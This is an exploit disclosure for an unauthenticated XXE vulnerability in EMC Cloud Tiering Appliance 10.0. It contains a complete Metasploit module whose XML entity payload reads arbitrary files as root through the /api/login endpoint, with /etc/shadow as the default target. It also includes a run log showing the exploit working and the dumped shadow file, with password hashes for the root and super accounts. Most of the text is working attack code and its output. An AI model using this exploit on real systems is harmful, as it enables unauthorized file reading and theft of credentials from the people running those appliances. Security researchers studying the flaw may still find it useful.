EMC Cloud Tiering Appliance 10.0 XXE Injection

`EMC Cloud Tiering Appliance v10.0 Unauthed XXE  
  
The following authentication request is susceptible to an XXE attack:  
  
POST /api/login HTTP/1.1  
Host: 172.31.16.99  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: JSESSIONID=12818F1AC5C744CF444B2683ABF6E8AC  
Connection: keep-alive  
Referer: https://172.31.16.99/UxFramework/UxFlashApplication.swf  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 213  
  
<Request>  
<Username>root</Username>  
<Password>114,97,105,110</Password>  
</Request>  
  
  
--------------------------------------------  
  
The following metasploit module will exploit this to read an arbitrary file from the file system:  
  
# This module requires Metasploit: http//metasploit.com/download  
##  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'EMC CTA Unauthenticated XXE Arbitrary File Read',  
'Description' => %q{  
EMC CTA v10.0 is susceptible to an unauthenticated XXE attack  
that allows an attacker to read arbitrary files from the file system  
with the permissions of the root user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Brandon Perry <[email protected]>', #metasploit module  
],  
'References' =>  
[  
],  
'DisclosureDate' => 'Mar 31 2014'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "Base directory path", '/']),  
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"]),  
], self.class)  
end  
  
def run  
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>  
<!DOCTYPE foo [  
<!ELEMENT foo ANY >  
<!ENTITY xxe SYSTEM "file://#{datastore['FILEPATH']}" >]>  
<Request>  
<Username>root</Username>  
<Password>&xxe;</Password>  
</Request>  
}  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'api', 'login'),  
'method' => 'POST',  
'data' => pay  
})  
  
file = /For input string: "(.*)"/m.match(res.body)  
file = file[1]  
  
path = store_loot('emc.file', 'text/plain', datastore['RHOST'], file, datastore['FILEPATH'])  
  
print_good("File saved to: " + path)  
end  
end  
  
----------------------------------------------------------------  
  
Quick run:  
  
msf auxiliary(emc_cta_xxe) > show options  
  
Module options (auxiliary/gather/emc_cta_xxe):  
  
Name Current Setting Required Description  
---- --------------- -------- -----------  
FILEPATH /etc/shadow yes The filepath to read on the server  
Proxies http:127.0.0.1:8080 no Use a proxy chain  
RHOST 172.31.16.99 yes The target address  
RPORT 443 yes The target port  
TARGETURI / yes Base directory path  
VHOST no HTTP server virtual host  
  
msf auxiliary(emc_cta_xxe) > run  
  
[+] File saved to: /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt  
[*] Auxiliary module execution completed  
msf auxiliary(emc_cta_xxe) > cat /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt  
[*] exec: cat /home/bperry/.msf4/loot/20140331082903_default_172.31.16.99_emc.file_935159.txt  
  
root:u4sA.C2vNqNF.:15913::::::  
bin:*:15913:0:99999:0:0::  
daemon:*:15913:0:99999:0:0::  
lp:*:15913:0:99999:0:0::  
mail:*:15913:0:99999:0:0::  
news:*:15913:0:99999:0:0::  
uucp:*:15913:0:99999:0:0::  
man:*:15913:0:99999:0:0::  
wwwrun:*:15913:0:99999:0:0::  
ftp:*:15913:0:99999:0:0::  
nobody:*:15913:0:99999:0:0::  
messagebus:*:15913:0:99999:0:0::  
polkituser:*:15913:0:99999:0:0::  
haldaemon:*:15913:0:99999:0:0::  
sshd:*:15913:0:99999:0:0::  
uuidd:*:15913:0:99999:0:0::  
postgres:*:15913:0:99999:0:0::  
ntp:*:15913:0:99999:0:0::  
suse-ncc:*:15913:0:99999:0:0::  
super:u4sA.C2vNqNF.:15913:0:99999:0:0::  
msf auxiliary(emc_cta_xxe) >  
  
`